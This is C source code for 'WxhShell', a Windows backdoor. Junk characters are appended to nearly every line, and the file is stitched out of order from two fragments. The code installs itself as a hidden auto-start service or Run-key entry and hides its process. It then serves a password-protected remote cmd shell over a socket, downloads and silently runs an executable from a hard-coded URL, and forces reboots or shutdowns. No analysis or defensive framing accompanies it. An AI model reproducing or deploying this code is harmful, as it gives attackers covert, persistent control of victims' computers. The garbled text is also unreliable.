    if(Boot(SHUTDOWN)) 7fO<=ei:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I"x~ 7  
    else { A>e-eD xi  
    closesocket(wsh); q8-hbWNm4  
    ExitThread(0); _dz ZS(7M6  
    } }p)Hw2  
    break; >SL mlK  
    } p >ua{}!L  
  // 获取shell C984Ee  
  case 's': { W[a"&,okqO  
    CmdShell(wsh); sf[|8}(  
    closesocket(wsh); 42A'`io[w]  
    ExitThread(0); Y'bz>@1(  
    break; MP<]-M'|<  
  } W[qy4\.B  
  // 退出 sLJ]N0t  
  case 'x': { /V`SJ"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L6i|5 P  
    CloseIt(wsh); k~K;r8D/  
    break; `Mbs6AJ  
    } ($/l_F  
  // 离开 sQ^t8Y 9  
  case 'q': { s :BW}PM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %G,7Ul1f  
    closesocket(wsh); jpS$5Ct  
    WSACleanup(); ]];pWlo!  
    exit(1); {:VK}w  
    break; JC-> eY"O2  
        } :).NA ]  
  } ,Wu$@jD/ ]  
  } ceD6q~)  
'W4v>0   
  // 提示信息 }YBuS3{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -sZ'<(3  
} x3#:C=  
  } p~=z)7% e'  
ov H'_'  
  return; s]0 J'UN  
} mCk_c  
@ <2y+_e  
// shell模块句柄 ;~djbo0,X  
int CmdShell(SOCKET sock) Uf ]$I`T#  
{ nTD%i~t~o  
STARTUPINFO si; 2p#d  
ZeroMemory(&si,sizeof(si)); &z5?]`ALu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S5, u| H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ebNRZJ?C,  
PROCESS_INFORMATION ProcessInfo; m[Ihte->  
char cmdline[]="cmd"; 0*tnJB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MN5}}@  
  return 0; "v`q%(TA  
} mAGD qz>f  
lo'#dpt<  
// 自身启动模式 Mp!1xx  
int StartFromService(void) aXQAm$/ >  
{ '0 )`.  
typedef struct &~/g[\Y  
{ 2RF3pIFrm  
  DWORD ExitStatus; [g<gu~  
  DWORD PebBaseAddress; ;<' 'oY  
  DWORD AffinityMask; rP2h9Cb  
  DWORD BasePriority; W94u7a  
  ULONG UniqueProcessId; OPE+:TvW^  
  ULONG InheritedFromUniqueProcessId; bp}97ZQ  
}   PROCESS_BASIC_INFORMATION; `Npo|.?=  
kdlmj[=  
PROCNTQSIP NtQueryInformationProcess; 3+d^Bpp4  
P]y{3y:XxM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <YEKbnw$o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O-)[!8r  
wb(S7OsMO  
  HANDLE             hProcess; QRKP;aYt  
  PROCESS_BASIC_INFORMATION pbi; E<u(Yw6=  
}fkdv6mz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,N hv#U<$  
  if(NULL == hInst ) return 0; E3[9!L8gb  
&\~*%:C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D]aQt%TL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~"vS$>+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'nh2}  
NF4(+E9g  
  if (!NtQueryInformationProcess) return 0; s5+;8u9K  
~vA8I#.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KU{zzn;g  
  if(!hProcess) return 0; sb3z8:r  
`MCtm(<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3fpaTue|x  
>R6mI  
  CloseHandle(hProcess); zA+0jhuG  
O;V^Fk(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .E+O,@?<  
if(hProcess==NULL) return 0; /ar0K9`c  
C@t,oDU#  
HMODULE hMod; xr@;w8X`^  
char procName[255]; V_m!<s r(  
unsigned long cbNeeded; 60n P'xfR  
Opg_-Bf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >eo[)Y  
||TZ[l  
  CloseHandle(hProcess); ):Z #!O<  
oMLs22Do?  
if(strstr(procName,"services")) return 1; // 以服务启动 p^q/u  
+cYDz#3%  
  return 0; // 注册表启动 V4}jv7>A  
} N#RC;  
1,$"'lKwt  
// 主模块 X[$|I9  
int StartWxhshell(LPSTR lpCmdLine) %g5#q64  
{ J!6w9,T_  
  SOCKET wsl; >b9J!'G,(  
BOOL val=TRUE; lc~c=17  
  int port=0;  E^5  
  struct sockaddr_in door; mS;WNlm\  
-} j(_] t  
  if(wscfg.ws_autoins) Install(); )p;t '*]  
8EdaqF  
port=atoi(lpCmdLine); [bX ^_ Y  
dyf>T}Iy  
if(port<=0) port=wscfg.ws_port; FW;}S9u3  
-:'%YHxX  
  WSADATA data; NT5##XOB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hWFOed4C  
3dbaCusT$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :*[mvF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4 $Kzh  
  door.sin_family = AF_INET; ._A4 :  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &J|I&p   
  door.sin_port = htons(port); 2-ksr}:  
|Rx+2`6Dp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g{sp<w0  
closesocket(wsl); 4Hb"yp$  
return 1; cmU0=js.  
} BQ[R)o  
`W_&^>yl  
  if(listen(wsl,2) == INVALID_SOCKET) { 9ei'oZ  
closesocket(wsl); !ii( 2U  
return 1; \}kR'l  
} gpzFY"MS=  
  Wxhshell(wsl); .mqMzV  
  WSACleanup(); NX(+%EBcA  
%x@bP6d[  
return 0; Eul3 {+]  
'~f*O0_  
} Ei+lVLoC  
ht6}v<x.eA  
// 以NT服务方式启动 6(htpT%J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CKe72OC  
{ HN/YuP03[  
DWORD   status = 0; NYg&8s.  
  DWORD   specificError = 0xfffffff; m8F \ESL  
e]; IQ|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _7;G$\^&.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "%dENK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?G~rYETvw  
  serviceStatus.dwWin32ExitCode     = 0; j"TEp$x  
  serviceStatus.dwServiceSpecificExitCode = 0; tBZ?UAe;  
  serviceStatus.dwCheckPoint       = 0; ,|?#+O{  
  serviceStatus.dwWaitHint       = 0; =HIKn6C<  
K%/\XnCY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gN(kRhp  
  if (hServiceStatusHandle==0) return; F g):>];<9  
N.]~%)K:{  
status = GetLastError(); Yc~lYz+b  
  if (status!=NO_ERROR) z(O*DwY#  
{ ^2%)Nq;O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9{S$%D  
    serviceStatus.dwCheckPoint       = 0; }uaFmXy3  
    serviceStatus.dwWaitHint       = 0; e?07o!7[;  
    serviceStatus.dwWin32ExitCode     = status; .`J*l=u$  
    serviceStatus.dwServiceSpecificExitCode = specificError; %G6x\[,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l& sEdEA  
    return; %z[=T@  
  } 1B&XM^>/  
sRcS-Yw[S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B>d49(jy  
  serviceStatus.dwCheckPoint       = 0; ~p{YuW[e  
  serviceStatus.dwWaitHint       = 0; ]{{%d4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .}+3A~  
} MZA%ET,l,<  
Y:Lkh>S1Q  
// 处理NT服务事件,比如:启动、停止 =F/R*5:T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H>]*<2(=-  
{ x N>\t& c  
switch(fdwControl) n4XkhY|  
{ s-x1<+E(  
case SERVICE_CONTROL_STOP: Kc1w[EQ  
  serviceStatus.dwWin32ExitCode = 0; fo/sA9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 67}8EV!/k  
  serviceStatus.dwCheckPoint   = 0; + >:}   
  serviceStatus.dwWaitHint     = 0; (=gqqOOl~  
  { @raJB'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eL)m(  
  } iny/K/5bf  
  return; %zEy.7Ux  
case SERVICE_CONTROL_PAUSE: %'=TYvB 2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CV{ZoY  
  break; :U'n0\  
case SERVICE_CONTROL_CONTINUE: VB8eGMo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &\6(iL  
  break; e(1{W P  
case SERVICE_CONTROL_INTERROGATE: wkPomTO  
  break; eDNY|}$}v  
}; HJ"sK5Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D(TfW   
} AOL=;z9c#  
g?}h*~<b  
// 标准应用程序主函数 MOB'rPIUI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }y+a )2  
{ .S=|ZP+  
w+!V,lU"^  
// 获取操作系统版本 :l Z\=2D  
OsIsNt=GetOsVer(); 8/,s 8u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); } MP_  
3y:),;|5  
  // 从命令行安装 B"*PBJuOA  
  if(strpbrk(lpCmdLine,"iI")) Install(); ga;t`5+d  
F60m]NUM)c  
  // 下载执行文件 KqaEHL  
if(wscfg.ws_downexe) { K@osD7-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =R9`to|  
  WinExec(wscfg.ws_filenam,SW_HIDE); _XrlCLp: d  
} q %tq9%  
i{Q,>Rt  
if(!OsIsNt) { juM~X5b  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?G&J_L=@Y  
HideProc(); Dp^=%F{t  
StartWxhshell(lpCmdLine); ~:_10g]r  
} TDg<&ND3  
else XC/M:2$  
  if(StartFromService()) Z%3)w.  
  // 以服务方式启动 NJoHrhC='  
  StartServiceCtrlDispatcher(DispatchTable); QOJ5  
else | ObA=[j  
  // 普通方式启动 8zJye6f;l  
  StartWxhshell(lpCmdLine); )B~{G\jS  
f|s,%AU"i  
return 0; 7(LB}  
} OH 88d:  
W7~OU(}[`  
Y~lOkH[z  
pg<c vok  
=========================================== w5Ucj*A\  
j \ #y  
4}YHg&@\d%  
< r b5'  
+tYskx/  
"oR%0pU*  
" }1sd<<\`  
$O\]cQD`u  
#include <stdio.h> kO/;lrwC  
#include <string.h> AVc|(~V  
#include <windows.h> Ipow Jw^  
#include <winsock2.h> *;T HD>  
#include <winsvc.h> i(q a'*  
#include <urlmon.h> O G7U+d6  
v}^uN+a5  
#pragma comment (lib, "Ws2_32.lib") =}SC .E\  
#pragma comment (lib, "urlmon.lib") "!Hm.^1  
Q 9JT6  
#define MAX_USER   100 // 最大客户端连接数  /zir$  
#define BUF_SOCK   200 // sock buffer np7!y U  
#define KEY_BUFF   255 // 输入 buffer 7#26Smv  
^7$Q"  
#define REBOOT     0   // 重启 kH62#[J)yM  
#define SHUTDOWN   1   // 关机 2>Kn'p  
q\fai^_  
#define DEF_PORT   5000 // 监听端口 #CB`7 }jq  
;,B $lgF  
#define REG_LEN     16   // 注册表键长度 0qN?4h)7  
#define SVC_LEN     80   // NT服务名长度 yfA h=  
h61BIc@>  
// 从dll定义API U owbk:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GM@0$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;|Rrtf9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )OQih+#?W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $*+UX   
6bbzgULl  
// wxhshell配置信息 [Ue"#w  
struct WSCFG { :&O6Y-/B  
  int ws_port;         // 监听端口 @Y&(1Wl  
  char ws_passstr[REG_LEN]; // 口令 &=-{adm  
  int ws_autoins;       // 安装标记, 1=yes 0=no G\r>3Ys  
  char ws_regname[REG_LEN]; // 注册表键名 t@BhosR-  
  char ws_svcname[REG_LEN]; // 服务名 c 9zMI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o{K#LP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1tCe#*|95  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nqib`U@"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~_4$|WKl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `g(r.`t^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ar[$%  
l;;"v) C8  
}; r@H7J 5<Y-  
cbX  <  
// default Wxhshell configuration KMV&c  
struct WSCFG wscfg={DEF_PORT, j"P}Wn  
    "xuhuanlingzhe", a0B,[i  
    1, -[5yp 2F-{  
    "Wxhshell", g; ZVoD  
    "Wxhshell", !O/(._YB`  
            "WxhShell Service", qMcOSZ%8J  
    "Wrsky Windows CmdShell Service", 3Ett9fBd  
    "Please Input Your Password: ", :k oXS  
  1, e?XQ,  
  "http://www.wrsky.com/wxhshell.exe", Hl*/s  
  "Wxhshell.exe" V#d8fRm  
    }; 6vZ.CUK9  
/q6 ^.>b  
// 消息定义模块 um mkAeWb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _n3"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1\if XJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P%kJq^&  
char *msg_ws_ext="\n\rExit."; sfEy  
char *msg_ws_end="\n\rQuit."; rp,PhS  
char *msg_ws_boot="\n\rReboot..."; .h>tef  
char *msg_ws_poff="\n\rShutdown..."; 7?~*F7F  
char *msg_ws_down="\n\rSave to "; h#I]gHQK  
/Os;,g  
char *msg_ws_err="\n\rErr!"; @:G#[>nKe  
char *msg_ws_ok="\n\rOK!"; f\M;m9{(  
soB5sFt&]  
char ExeFile[MAX_PATH]; 9uA2M!~i2  
int nUser = 0; Zd[6-/-:  
HANDLE handles[MAX_USER]; )?,X\/5  
int OsIsNt; WH0$v#8`v  
. ^JsnP  
SERVICE_STATUS       serviceStatus; )R9QJSe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vip& b}u  
vKcc|#  
// 函数声明 /-&a]PJ  
int Install(void); ADVHi3b  
int Uninstall(void); `]l*H3+hg  
int DownloadFile(char *sURL, SOCKET wsh); HP eN0=7>  
int Boot(int flag); 81 /t)Cp  
void HideProc(void); %DF-;M"8  
int GetOsVer(void); C\C*'l6d  
int Wxhshell(SOCKET wsl); Qo \;)  
void TalkWithClient(void *cs); 3/?{= {  
int CmdShell(SOCKET sock); $56Z/*  
int StartFromService(void); !TdbD56  
int StartWxhshell(LPSTR lpCmdLine); aYPD4yX"/  
H+2m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t"L-9kCM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e8ZMB$byP  
*u`[2xmuYf  
// 数据结构和表定义 o+.LG($+U  
SERVICE_TABLE_ENTRY DispatchTable[] = v6_fF5N/  
{ 9)]asY  
{wscfg.ws_svcname, NTServiceMain}, ~xP4}gs1  
{NULL, NULL} fp2.2 @[  
}; I2<t?c:Pn<  
p$OkWSi~  
// 自我安装 f<aJiVP  
int Install(void) ^SH8*7l7  
{ Dwp-*QK^G  
  char svExeFile[MAX_PATH]; )]a{cczL"  
  HKEY key; sT|FgB  
  strcpy(svExeFile,ExeFile); #99fFs`w  
d%='W|i\p&  
// 如果是win9x系统,修改注册表设为自启动 NT<> LWo  
if(!OsIsNt) { is [p7-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .q7|z3@,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %I6c}*W  
  RegCloseKey(key); jV!9IK;HA.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %nkP?gn"a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h TY7`m">  
  RegCloseKey(key); i*g>j <`  
  return 0; 1'>wrGr  
    }  b"C1  
  } ?#rejA:  
} mU3 @|a/@0  
else { ct#3*]  
LU7d\Ch  
// 如果是NT以上系统,安装为系统服务 z7'C;I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1'{A,!  
if (schSCManager!=0) }Kc03Ue`%e  
{ 8LM 91  
  SC_HANDLE schService = CreateService /MUa b*h  
  ( vuE 1(CR  
  schSCManager, eL7\})!W  
  wscfg.ws_svcname, +Tug.[A  
  wscfg.ws_svcdisp, pN ^^U[  
  SERVICE_ALL_ACCESS, pAd 8-a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #.kDin~!  
  SERVICE_AUTO_START, )$_b?  
  SERVICE_ERROR_NORMAL, gnPu{-Ec*  
  svExeFile, _9Zwg+oO[  
  NULL, +vh 4I  
  NULL, :_y}8am;H~  
  NULL, bW9a_myE  
  NULL, ySk'#\d  
  NULL xmI!N0eta  
  ); :6r)HJ5sg  
  if (schService!=0) jR CG}'  
  { } JePEmj  
  CloseServiceHandle(schService); (s2ke  
  CloseServiceHandle(schSCManager); Y={_o!9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `"* ]C  
  strcat(svExeFile,wscfg.ws_svcname); ClvqI"Rd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L)`SNN\ipR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wZ_k]{J  
  RegCloseKey(key); QC+K:jL  
  return 0;  ;Iu}Q-b*  
    } ,J3s1 ]~^  
  } <.yL&$9  
  CloseServiceHandle(schSCManager); yRt>7'@X  
} %3r`EIB6  
} nr t3wqJ  
r(#]Z   
return 1; hkhk,bhI  
} wNX2*   
}c$@0x;YQ  
// 自我卸载 YA vOV-L  
int Uninstall(void) gLyE,1Z}u  
{ 18xT2f  
  HKEY key; lS.&>{  
quPNwNy  
if(!OsIsNt) { r#xq 8H=_m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /d\#|[S  
  RegDeleteValue(key,wscfg.ws_regname); )@O80uOFh  
  RegCloseKey(key); \<bar ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cn~M: LW23  
  RegDeleteValue(key,wscfg.ws_regname); ^-yEb\\i  
  RegCloseKey(key); 6ofi8( n[  
  return 0; tXgsWG?v[H  
  } 3{wmKo|_X  
} K~ 6[zJ4  
} <lBY  
else { -t:~d:  
GV1SKa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;MH<T6b  
if (schSCManager!=0) 6/Pw'4H9$  
{ hrRkam !y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ob"48{w$  
  if (schService!=0) t69C48}15  
  { G{ 9p.Q  
  if(DeleteService(schService)!=0) { ?IWLH-fkP  
  CloseServiceHandle(schService); Sl?@c/Ng  
  CloseServiceHandle(schSCManager); m1mA:R\zM  
  return 0; k_^| %xJ  
  } 7vRFF@eq}  
  CloseServiceHandle(schService); t3dvHU&Z:  
  } !G0OD$  
  CloseServiceHandle(schSCManager); Sas &P:# r  
} $i^#KZ}-WK  
} j~IX  
/R2K3E#  
return 1; W.fsW<{4j  
} 1I{^]]qw  
B`Q~p 92  
// 从指定url下载文件 z)Is:LhS  
int DownloadFile(char *sURL, SOCKET wsh) BO3#*J5S\  
{ |V 3AA   
  HRESULT hr; {g%F 3-  
char seps[]= "/"; {Gd<+tQg  
char *token; _qZ?|;o^  
char *file; HFr#Ql>g  
char myURL[MAX_PATH]; =Qa*-*  
char myFILE[MAX_PATH]; %SHjJCS3  
 yO7xAb  
strcpy(myURL,sURL); )_vE"ryThA  
  token=strtok(myURL,seps); 7 fE QD?C  
  while(token!=NULL) a2{ nrGD  
  { phT|w H  
    file=token; J(%Jg  
  token=strtok(NULL,seps); 9 2e?v8  
  } Od?M4Ed(  
Hkcr+BQ  
GetCurrentDirectory(MAX_PATH,myFILE); w A0 $d  
strcat(myFILE, "\\"); ? x*Ve2+]  
strcat(myFILE, file); 7~2/NU?  
  send(wsh,myFILE,strlen(myFILE),0); Zr&~gXmVS  
send(wsh,"...",3,0); jP]I>Tq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vh.9/$xQ  
  if(hr==S_OK) ^X&n-ui   
return 0; rM sd)  
else [%8t~zg  
return 1; rW~hFSrV[o  
eC9nOwp]xH  
} h;^H*Y&`  
2W}f|\8MX  
// 系统电源模块 M7\; Y  
int Boot(int flag) 7nzNBtk  
{ C;u8qVI  
  HANDLE hToken; ,r&:C48 dI  
  TOKEN_PRIVILEGES tkp; 4z_>CiA  
"I)*W8wTn  
  if(OsIsNt) { dKOW5\H'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^^ Q'AE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \Kx@?,  
    tkp.PrivilegeCount = 1; (d L;A0L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u9t@%H)lZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `*A!vO8  
if(flag==REBOOT) { 5BL4VGwJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Lq&;`)BJ  
  return 0; $*%ipD}f  
} @Gh?|d7bD  
else { b V)mO@N~w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <$f7&6B  
  return 0; 1YGj^7V)|Z  
} w $\p\}~,  
  } Tn$/9<Q  
  else { 1@ e22\  
if(flag==REBOOT) { ux[h\Tp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rNdeD~\  
  return 0; 0I8w'/s_g9  
} ,9(=Iu-?1  
else { EXdx$I=X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rRTAWAs%T  
  return 0; 8y<NT"  
} Z*Sa%yf  
} c k$ > yk  
B=>:w%<Ii  
return 1; #B;~i6h]  
} zyznFiE  
zL1*w@6  
// win9x进程隐藏模块 y+ZRh?2  
void HideProc(void) <Ae1YHUY  
{ 's.cwB: #  
7X Z5CX&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $\W|{u`  
  if ( hKernel != NULL )  #E[{  
  { 6D[m}/?Uy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u afSz@`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X=:|v<E   
    FreeLibrary(hKernel); xKilTh_.6  
  } ?!N@%R>5rN  
hdi/k!9[\  
return;  d"E@e21  
} Mr5E\~K>s  
@~4Q\^;NX  
// 获取操作系统版本 e?Pzhh a  
int GetOsVer(void) F,t ,Ja  
{ Fk:yj 4'  
  OSVERSIONINFO winfo; %gF; A*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !>~W5c^  
  GetVersionEx(&winfo); Orb('Z,-3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b(hnouS  
  return 1; WUVRwJ 5  
  else 5h"moh9tG  
  return 0; ZyJdz+L{@V  
} -Y*"!8  
iIOA54!o  
// 客户端句柄模块 UStNUNCq  
int Wxhshell(SOCKET wsl) fM[Qn*.  
{ {uurM` f}:  
  SOCKET wsh; P1<Y7 +n  
  struct sockaddr_in client; (*.t~6c?5  
  DWORD myID; Kt(Z&@  
:UjF<V  
  while(nUser<MAX_USER) PT9,R^2T!  
{ :8}iZ.  
  int nSize=sizeof(client); [fN?=,8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X[Lwx.Ly8  
  if(wsh==INVALID_SOCKET) return 1;  mN>7vJ  
eR'Df" +  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nUAoPE  
if(handles[nUser]==0) $=7'Cm ?  
  closesocket(wsh); 4LO U[D  
else J! ;g.q  
  nUser++; '6^20rj  
  } v6gfyGCJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;#3l&HRKH1  
h0YIPB  
  return 0; bB|UQaCl  
} c:  /Wk  
`$IuN *  
// 关闭 socket `m6>r9:  
void CloseIt(SOCKET wsh) ZRDY `eK  
{ 0KW@j>=jK  
closesocket(wsh); (dOC ^i  
nUser--; 1_D|;/aI  
ExitThread(0); QZcdfJck=+  
} GpjyF_L  
'@Zau\xC  
// 客户端请求句柄 B8+J0jdg6%  
void TalkWithClient(void *cs) q Ee1OB  
{ ()< E?D=  
RC_w 1:h  
  SOCKET wsh=(SOCKET)cs; OYw~I.Rq  
  char pwd[SVC_LEN]; 4!'1o`8vs  
  char cmd[KEY_BUFF]; C2WWS(zn  
char chr[1]; $T\W'W R>  
int i,j; [@!.(Hp  
D& Xh|}2A  
  while (nUser < MAX_USER) { :r?gD2q  
_ >)+ u  
if(wscfg.ws_passstr) { P\;L#2n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L5%t.7B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j2V"w&>b}  
  //ZeroMemory(pwd,KEY_BUFF); gy|L!_1Z8  
      i=0; ^;";fr Vw  
  while(i<SVC_LEN) { 4)L(41h  
nXgnlb=  
  // 设置超时 Yp_ L.TTb  
  fd_set FdRead; +T*=JHOD  
  struct timeval TimeOut; /S32)=(  
  FD_ZERO(&FdRead); 'j^A87\M_  
  FD_SET(wsh,&FdRead); up[9L|  
  TimeOut.tv_sec=8; z 6~cm6j  
  TimeOut.tv_usec=0; Kjw4,z%\94  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6S#Y$2 P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8@Zg@>,  
+mM=`[Z`??  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =T73660  
  pwd=chr[0]; OE{{,HFa`G  
  if(chr[0]==0xd || chr[0]==0xa) { hlY]s &0  
  pwd=0; Lu.D,oP  
  break; q^:>sfd  
  } <Fkm7ME]  
  i++; l^.d 3b  
    } g@IV|C( *0  
 1 &24:&  
  // 如果是非法用户,关闭 socket n#jBqr&!M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Tr}z&efY  
} lHRs3+  
grvm2`u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (G:A^z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gm,vLs9H$T  
EV1x"}D A_  
while(1) { 81m3j`b  
/RVy?)hVT#  
  ZeroMemory(cmd,KEY_BUFF); ws"{Y+L  
~}uv4;0l]  
      // 自动支持客户端 telnet标准   42`%D  
  j=0; &h(>jY7b;  
  while(j<KEY_BUFF) { !VaKq_W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'q158x  
  cmd[j]=chr[0]; F.zx]][JV  
  if(chr[0]==0xa || chr[0]==0xd) { _|f1q  
  cmd[j]=0; qOA+ao  
  break; K U 2LJ_~Y  
  } )?5027^  
  j++; D{-h2=V  
    } "4Joou"U  
;yfKYN[  
  // 下载文件 bYPkqitqz  
  if(strstr(cmd,"http://")) { U3Fa.bC6}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vrRbUwL!  
  if(DownloadFile(cmd,wsh)) Z XCq>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j -l#n&M  
  else #xUX1(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ``;.Oy6jS  
  } i D6f/|g  
  else { 1M1|Wp  
`IP?w&k)  
    switch(cmd[0]) { \a<7DTV  
  e"Y ( 7<  
